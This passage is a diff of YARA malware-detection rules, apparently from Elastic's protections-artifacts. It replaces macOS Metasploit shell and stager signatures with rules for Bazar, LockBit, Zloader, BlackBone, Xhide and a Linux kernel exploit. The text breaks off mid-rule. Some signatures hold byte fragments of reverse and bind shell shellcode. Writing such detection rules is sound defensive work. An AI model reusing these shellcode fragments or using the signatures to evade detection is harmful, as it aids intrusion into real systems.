 		tags = "FILE, MEMORY"
-		fingerprint = "d47e8083268190465124585412aaa2b30da126083f26f3eda4620682afd1d66e"
+		fingerprint = "f146d4fff29011acf595f2cba10ed7c3ce6ba07fbda0864d746f8e6355f91add"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = "_webcam_get_frame" ascii fullword
-		$a2 = "_get_process_info" ascii fullword
-		$a3 = "process_new: got %zd byte executable to run in memory" ascii fullword
-		$a4 = "Dumping cert info:" ascii fullword
+		$a = { 48 63 41 3C 45 33 ED 44 8B FA 48 8B F9 8B 9C 08 88 00 00 00 44 8B A4 08 8C 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_448Fa81D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bazar_De8D625A : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
 		author = "Elastic Security"
-		id = "448fa81d-14c7-479b-8d1e-c245ee261ef6"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "de8d625a-8f85-47b7-bcad-e3cc012e4654"
+		date = "2022-01-14"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L44-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
-		logic_hash = "ab0608920b9f632bad99e1358f21a88bc6048f46fca21a488a1a10b7ef1e42ae"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bazar.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ad9ac4785b82c8bfa355c7343b9afc7b1f163471c41671ea2f9152a1b550f0c"
+		logic_hash = "5fd7bb4ac818ec1b4bfcb7d236868a31b2f726182407c07c7f06c1d7e9c15d02"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ff040211f664f3f35cd4f4da0e5eb607ae3e490aae75ee97a8fb3cb0b08ecc1f"
+		fingerprint = "17b2de5803589634fd7fb4643730fbebfa037c4d0b66be838a1c78af22da0228"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = "/Users/vagrant/mettle/mettle/src/process.c" ascii fullword
-		$a2 = "/Users/vagrant/mettle/mettle/src/c2_http.c" ascii fullword
-		$a3 = "/Users/vagrant/mettle/mettle/src/mettle.c" ascii fullword
+		$a = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 49 8B F0 48 8B FA 48 8B D9 48 85 D2 74 61 4D 85 C0 74 5C 48 39 11 75 06 4C 39 41 08 74 2B 48 8B 49 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_768Df39D : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Lockbit_D248E80E : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit shell_reverse_tcp.rb"
+		description = "Detects Linux Ransomware Lockbit (Linux.Ransomware.Lockbit)"
 		author = "Elastic Security"
-		id = "768df39d-7ee9-454e-82f8-5c7bd733c61a"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L66-L85"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "140ba93d57b27325f66b36132ecaab205663e3e582818baf377e050802c8d152"
+		id = "d248e80e-3e2f-4957-adc3-0c912b0cd386"
+		date = "2023-07-27"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Lockbit.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4800a67ceff340d2ab4f79406a01f58e5a97d589b29b35394b2a82a299b19745"
+		logic_hash = "5d33d243cd7f9d9189139eb34a4dd8d81882be200223d5c8e60dfd07ca98f94b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d45230c1111bda417228e193c8657d2318b1d2cddfbd01c5c6f2ea1d0be27a46"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "417ecf5a0b6030ed5b973186efa1e72dfa56886ba6cfc5fbf615e0814c24992f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = { FF 4F E8 79 F6 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 }
+		$a1 = "restore-my-files.txt" fullword
+		$b1 = "xkeyboard-config" fullword
+		$b2 = "bootsect.bak" fullword
+		$b3 = "lockbit" fullword
+		$b4 = "Error: %s" fullword
+		$b5 = "crypto_generichash_blake2b_final" fullword
 
 	condition:
-		all of them
+		$a1 and 2 of ($b*)
 }
-rule ELASTIC_Macos_Trojan_Metasploit_7Ce0B709 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Lockbit_5B30A04B : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit shell_bind_tcp.rb"
+		description = "Detects Linux Ransomware Lockbit (Linux.Ransomware.Lockbit)"
 		author = "Elastic Security"
-		id = "7ce0b709-1d96-407c-8eca-6af64e5bdeef"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_bind_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L87-L106"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "56fc05ece464d562ff6e56247756454c940c07b03c4a4c783b2bae4d5807247a"
+		id = "5b30a04b-d618-4698-a797-30bf6d4a001c"
+		date = "2023-07-29"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Lockbit.yar#L26-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "41cbb7d79388eaa4d6e704bd4a8bf8f34d486d27277001c343ea3ce112f4fb0d"
+		logic_hash = "b89d0f25f08ffa35e075def6a29cf52a80500c6499732146426a71c741059a3b"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "3eb7f78d2671e16c16a6d9783995ebb32e748612d32ed4f2442e9f9c1efc1698"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "99bf6afb1554ec3b3b82389c93ca87018c51f7a80270d64007a5f5fc59715c45"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = { FF 4F E4 79 F6 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 }
+		$a1 = { 5D 50 4A 49 55 58 40 77 58 54 5C }
+		$a2 = { 33 6B 5C 5A 4C 4B 4A 50 4F 5C 55 40 }
+		$a3 = { 5E 4C 58 4B 58 57 4D 5C 5C 5D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_F11Ccdac : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Zloader_5Dd0A0Bf : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit shell_find_port.rb"
+		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
 		author = "Elastic Security"
-		id = "f11ccdac-be75-4ba8-800a-179297a40792"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_find_port.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L108-L127"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fcf578d3e98b591b33cb6f4bec1b9e92a7e1a88f0b56f3c501f9089d2094289c"
+		id = "5dd0a0bf-20e4-4c52-b9d9-c157e871b06b"
+		date = "2022-03-03"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Zloader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
+		logic_hash = "1446a4147e1b06fa66907de857011079c55a8e6bf84276eb8518d33468ba1f83"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fbc1a5b77ed485706ae38f996cd086253ea1d43d963cb497446e5b0f3d0f3f11"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "06545df6c556adf8a6844724e77d005c0299b544f21df2ea44bb9679964dbb9f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = { 50 6A 1F 58 CD 80 66 81 7F 02 04 D2 75 EE 50 }
+		$a = { B6 08 89 CA 80 C2 F7 80 FA 05 72 F2 80 F9 20 74 ED 03 5D 0C 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_D9B16F4C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Zloader_4Fe0F7F1 : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit vforkshell_bind_tcp.rb"
+		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
 		author = "Elastic Security"
-		id = "d9b16f4c-8cc9-42ce-95fa-8db06df9d582"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L129-L148"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8e082878fb52f6314ec8c725dd279447ee8a0fc403c47ffd997712adb496e7c3"
+		id = "4fe0f7f1-93c6-4397-acd5-1557608efaf4"
+		date = "2022-03-03"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Zloader.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
+		logic_hash = "b20fafc9db08c7668b49e18f45632594c3a69ec65fe865e79379c544fc424f8d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cf5cfc372008ae98a0958722a7b23f576d6be3b5b07214d21594a48a87d92fca"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "f340f41cc69930d24ffdae484d1080cd9ce5cb5e7720868c956923a5b8e6c9b1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 0F 82 7E 00 00 00 89 C6 52 52 52 68 00 02 34 12 89 E3 6A }
+		$a = { 08 8B 75 F0 85 DB 8D 7D 94 89 45 E8 0F 45 FB 31 DB 85 F6 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_2992B917 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Zloader_363C65Ed : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit vforkshell_reverse_tcp.rb"
+		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
 		author = "Elastic Security"
-		id = "2992b917-32bd-4fd8-8221-0d061239673d"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L150-L169"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "10056ffb719092f83ad236a63ef6fa1f40568e500c042bd737575997bb67a8ec"
+		id = "363c65ed-e394-4a40-9c2a-a6f6fd284ed3"
+		date = "2022-03-03"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Zloader.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
+		logic_hash = "d3c530f9929db709067a9e1cc59b9cda9dcd8e19352c79ddaf7af6c91b242afd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "055129bc7931d0334928be00134c109ab36825997b2877958e0ca9006b55575e"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "33ae4cee122269f4342a3fd829236cbd303d8821b548ab93bbebc9dee3eb67f2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 72 6D 89 C7 52 52 68 7F 00 00 01 68 00 02 34 12 89 E3 6A }
+		$a = { 04 8D 4D E4 8D 55 E8 6A 00 6A 00 51 6A 00 6A 00 50 52 57 53 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_27D409F1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Zloader_79535191 : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit x64 shell_bind_tcp.rb"
+		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
 		author = "Elastic Security"
-		id = "27d409f1-80fd-4d07-815a-4741c48e0bf6"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x64/shell_bind_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L171-L190"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b757e0ab6665a3e4846c6bbe4386e9d9a730ece00a2453933ce771aec2dd716e"
+		id = "79535191-59df-4c78-9f62-b8614ef992d3"
+		date = "2022-03-03"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Zloader.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
+		logic_hash = "c398a8ca46c6fe3e59481a092867be77a94809b1568cea918aa6450374063857"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "43be41784449fc414c3e3bc7f4ca5827190fa10ac4cdd8500517e2aa6cce2a56"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "ee3c4cf0d694119acfdc945a964e4fc0f51355eabca900ffbcc21aec0b3e1e3c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = { B8 61 00 00 02 6A 02 5F 6A 01 5E 48 31 D2 }
+		$a = { 28 4B 74 26 8B 46 FC 85 C0 74 F3 8B 4E F4 8B 16 39 C8 0F 47 C1 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_65A2394B : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Blackbone_2Ff5Ec38 : FILE
 {
 	meta:
-		description = "Byte sequence based on Metasploit stages vforkshell.rb"
+		description = "Detects Windows Hacktool Blackbone (Windows.Hacktool.BlackBone)"
 		author = "Elastic Security"
-		id = "65a2394b-0e66-4cb5-b6aa-3909120f0a94"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stages/osx/x86/vforkshell.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L192-L211"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f01f671b0bf9fa53aa3383c88ba871742f0e55dbdae4278f440ed29f35eb1ca1"
+		id = "2ff5ec38-ce35-432a-8ffa-d459f84438dd"
+		date = "2022-04-04"
+		modified = "2022-04-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_BlackBone.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4e3887f950bff034efedd40f1e949579854a24140128246fa6141f2c34de6017"
+		logic_hash = "0c32bd04460cdf7a56664253992a684c2c684b15ac9ca853b27ab24f07f71607"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "082da76eb8da9315d495b79466366367f19170f93c0a29966858cb92145e38d7"
-		threat_name = "MacOS.Trojan.Metasploit"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "e3df60931c040081214296f006d98e155a5dc7e285a840a1decb23186ef67465"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = { 31 DB 83 EB 01 43 53 57 53 B0 5A CD 80 72 43 83 }
+		$str1 = "BlackBone: %s: ZwCreateThreadEx hThread 0x%X"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Macos_Trojan_Metasploit_C7B7A90B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xhide_7F0A131B : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit stager reverse_tcp.rb"
+		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
 		author = "Elastic Security"
-		id = "c7b7a90b-aaf2-482d-bb95-dee20a75379e"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/osx/x86/reverse_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L213-L232"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d4b1f01bf8434dd69188d2ad0b376fad3a4d9c94ebe74d40f05019baf95b5496"
+		id = "7f0a131b-c305-4a08-91cc-ac2de4d95b19"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xhide.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
+		logic_hash = "4843042576d1f4f37b5a7cda1b261831030d9145c49b57e9b4c66e2658cc8cf9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c4b2711417f5616ca462149882a7f33ce53dd1b8947be62fe0b818c51e4f4b2f"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "767f2ea258cccc9f9b6673219d83e74da1d59f6847161791c9be04845f17d8cb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 72 }
+		$a = { 8B 85 68 FF FF FF 83 E0 40 85 C0 75 1A 8B 85 68 FF FF FF 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_4Bd6Aaca : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xhide_Cd8489F7 : FILE MEMORY
 {
 	meta:
-		description = "Byte sequence based on Metasploit stager x86 bind_tcp.rb"
+		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
 		author = "Elastic Security"
-		id = "4bd6aaca-f519-4d20-b3af-d376e0322a7e"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/osx/x86/bind_tcp.rb"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L234-L253"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a3de610ced90679f6fa0dcdf7890a64369c774839ea30018a7ef6fe9289d3d17"
+		id = "cd8489f7-795f-4fd5-b9a6-03ddd0f3bad4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xhide.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
+		logic_hash = "34924260c811f1796ae37faec922bc21bb312ebb0672042d3ec27855f63ed61e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f4957b565d2b86c79281a0d3b2515b9a0c72f9c9c7b03dae18a3619d7e2fc3dc"
-		threat_name = "MacOS.Trojan.Metasploit"
+		fingerprint = "30b2e0a8ad2fdaa040d748d8660477ae93a6ebc89a186029ff20392f6c968578"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 0F 82 7D }
+		$a = { 6F 74 2E 63 6F 6E 66 0A 0A 00 46 75 6C 6C 20 70 61 74 68 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_5E5B685F : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xhide_840B27C7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
+		description = "Detects Linux Trojan Xhide (Linux.Trojan.Xhide)"
 		author = "Elastic Security"
-		id = "5e5b685f-1b6b-4102-b54d-91318e418c6c"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "840b27c7-191f-4d31-9b46-f22be634b2af"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L255-L273"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cdf0a3c07ef1479b53d49b8f22a9f93adcedeea3b869ef954cc043e54f65c3d0"
-		logic_hash = "003fb4f079b125f37899a2b3cb62d80edd5b3e5ccbed5bc1ea514a4a173d329d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xhide.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0dc35f1a1fe1c59e454cd5645f3a6220b7d85661437253a3e627eed04eca2560"
+		logic_hash = "6b0bfe69558399af6e0469a31741dcf2eb91fbe3e130267139240d3458eb8a0d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "52c41d4fc4d195e702523dd2b65e4078dd967f9c4e4b1c081bc04d88c9e4804f"
+		fingerprint = "f1281db9a49986e23ef1fd9a97785d3bd7c9b3b855cf7e51744487242dd395a3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = { 00 00 F4 90 90 90 90 55 48 89 E5 48 81 EC 60 20 00 00 89 F8 48 8B 0D 74 23 00 }
+		$a = { 8B 45 98 83 E0 40 85 C0 75 16 8B 45 98 83 E0 08 85 C0 75 0C 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdoor_97F92Ff7 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_4557_B7E15F5E : FILE MEMORY CVE_2016_4557
 {
 	meta:
-		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
+		description = "Detects Linux Exploit Cve 2016 4557 (Linux.Exploit.CVE-2016-4557)"
 		author = "Elastic Security"
-		id = "97f92ff7-b14f-4cdf-aef7-d1ca3e46ae48"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b7e15f5e-73d2-4718-8fac-e6a285b0c73c"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdoor.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e1d909e4a6ba843194f9912826728bd2639b0f34ee512e0c3c9e5ce4d27828e"
-		logic_hash = "a883c790fd7fdeb0ca6de5fcf4dd69a996b6d85db3179a8a28adbbbc1dc01bc6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_4557.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bbed2f81104b5eb4a8475deff73b29a350dc8b0f96dcc4987d0112b993675271"
+		logic_hash = "9c40233fec9607404ca4f78313e0f62922180e5ef88dbf801dd60725af61bdde"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4ad5b6b259655bf1bf58d662cf3daf3fec6ba61fcff36e24e8d239e99a8bd36f"
+		quality = 73
+		tags = "FILE, MEMORY, CVE-2016-4557"
